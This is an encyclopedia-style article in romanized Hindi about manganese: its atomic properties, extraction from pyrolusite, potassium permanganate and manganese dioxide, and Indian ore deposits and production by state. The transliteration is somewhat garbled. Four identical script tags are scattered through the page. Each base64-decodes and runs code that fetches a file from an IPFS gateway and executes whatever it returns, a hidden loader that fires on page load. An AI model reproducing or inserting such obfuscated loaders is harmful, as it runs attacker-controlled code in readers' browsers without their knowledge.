मैंगनीज
- REDIRECTsaancha:Infobox element
maianganij (aangrezi:Manganese) avart sarani ka ek tattv jo sthan- upavarg VII B, avart- chaturth, bl aauk- d mean sthit hai. maianganij ka pratikanusar 'Mn', paramanu sankhya- 25 tatha paramanu bhar- 54.93 hai. maianganij ka ilektr aaunik vinyas- 1s2 2s2 2p6, 3s2 3p6, 14s2 3d5 hai.
nishkarshan
maianganij ka nishkarshan mukhyatah pairolusait namak ayask se kiya jata hai.
yaugik
potaishiyam paramaianganet
potaishiyam paramaianganet (KMnO4) ek baiangani rang ka kristaliy thos hai. ise lal dava ke nam se jana jata hai. audyogik paimane par isaka utpadan maianganij ke ayask pairolusait se hota hai. isaka rava baiangani rang ka hota hai. tatha usamean dhatuee chamak bhi hoti hai. yah jal mean sadharan viley hai tatha gulabi rang ka vilayan banata hai. ise prabalata se garm karane par potaishiyam maianganet evan maianganij daiaauksaid banata hai. potaishiyam paramaianganet ka vistrit upayog ayataniy vishleshan mean aauksikarak ke roop mean hota hai. karbanik yaugikoan mean dvibandhan ki jaanch mean bhi isaka upayog hota hai. ooni, reshami evan sooti kap doan ke viranjan tatha teloan ko rangahin banane mean bhi isaka upayog hota hai. yah jal ko kitanurahit karata hai.
maianganij daiaauksaid
shushk seloan mean maianganij daiaauksaid (MnO2) vidhruvak ka kary karata hai.
vishesh
jivit manav sharir mean maianganij sabase kam paya jane vala tattv hai.
prapti sthan
lauh ispat udyog mean ek pramukh kachche mal ke roop mean prayukt hone vali dhatu maianganij prayah kale rang ki prakritik bhasmoan ke roop mean marava d yug ki avasadi chattanoan mean payi jati hai. sailoanmailin tatha bronait isake pramukh ayask hai. isaki prapti pairoloosait, h aaulaiandait, sitaiparait, hausamainait, maiangenait, rodonait, rodokrosait evan jaisobsait jaise ayaskoan se bhi hoti hai. bharat mean milane vale maianganij ayask mean dhatu ka aansh 52 pratishat tak paya jata hai, jo isaki utkrishtata ka soochak hai. desh mean maiangajin khanij ka nikala ja sakane yogy bhandar 16 karo d 70 lakh tan hai, jisamean 4 karo d tan pramanit, 4 karo d 90 lakh tan apramanit aur 7 karo d 80 lakh tan sanbhavit shreni ke hai. madhy pradesh aur maharashtr desh ke pramukh maianganij utpadak rajy haian. yahaan 15 kimi chau di tatha lagabhag 205 kimi lanbi peti mean maianganij ka jamav haian, jo pashchim mean maharashtr ke nagapur evan bhandara ziloan tak vistrit hai. madhy pradesh mean maianganij utkhanan karane vale pramukh zile haian - balaghat tatha chhindava da. inake atirikt maandala, bastar, bilasapur, jabalapur, dhar, jhabua adi ziloan mean bhi maianganij ki prapti hoti hai. maharashtr ke nagapur tatha bhandara ziloan mean 19 kimi lambi peti mean maiganij utkhanan kiya jata hai.
desh mean maianganij khanij ke mukhy bhandar karnatak mean se aur usake bad u disa, madhy pradesh, maharashtr aur gova mean haian. gujarat[1], gova[2], andhr pradesh[3], rajasthan[4] karnatak adi rajyoan mean bhi maianganij ki prapti hoti hai. bharat mean maianganij utpadan mean pratham u disa, dvitiy sthan madhy pradesh tatha tritiy maharashtr ka hai. 2006-07 ke dauran 1882 hazar tan maianganij ayask ka utpadan hua.
bharat se briten, sanyukt rajy amarika, japan, jarmani, phraans, chek tatha slovak ganarajyoan, beljiyam adi deshoan ko maianganij ka niryat kiya jata hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ b dodara, panchamahal, sabarakaantha, banasakaantha zile
- ↑ paranem tatha barader kshetr
- ↑ vishakhapatnam, kudappa tatha shrikakulam zile
- ↑ udayapur, baansava da, pali zile
sanbandhit lekh
| avart sarani | |||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| H | He | ||||||||||||||||||||||||||||||||||||||||
| Li | Be | B | C | N | O | F | Ne | ||||||||||||||||||||||||||||||||||
| Na | Mg | Al | Si | P | S | Cl | Ar | ||||||||||||||||||||||||||||||||||
| K | Ca | Sc | Ti | V | Cr | Mn | Fe | Co | Ni | Cu | Zn | Ga | Ge | As | Se | Br | Kr | ||||||||||||||||||||||||
| Rb | Sr | Y | Zr | Nb | Mo | Tc | Ru | Rh | Pd | Ag | Cd | In | Sn | Sb | Te | I | Xe | ||||||||||||||||||||||||
| Cs | Ba | La | Ce | Pr | Nd | Pm | Sm | Eu | Gd | Tb | Dy | Ho | Er | Tm | Yb | Lu | Hf | Ta | W | Re | Os | Ir | Pt | Au | Hg | Tl | Pb | Bi | Po | At | Rn | ||||||||||
| Fr | Ra | Ac | Th | Pa | U | Np | Pu | Am | Cm | Bk | Cf | Es | Fm | Md | No | Lr | Rf | Db | Sg | Bh | Hs | Mt | Ds | Rg | Cn | Uut | Uuq | Uup | Lv | Uus | Uuo | ||||||||||
| |||||||||||||||||||||||||||||||||||||||||
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>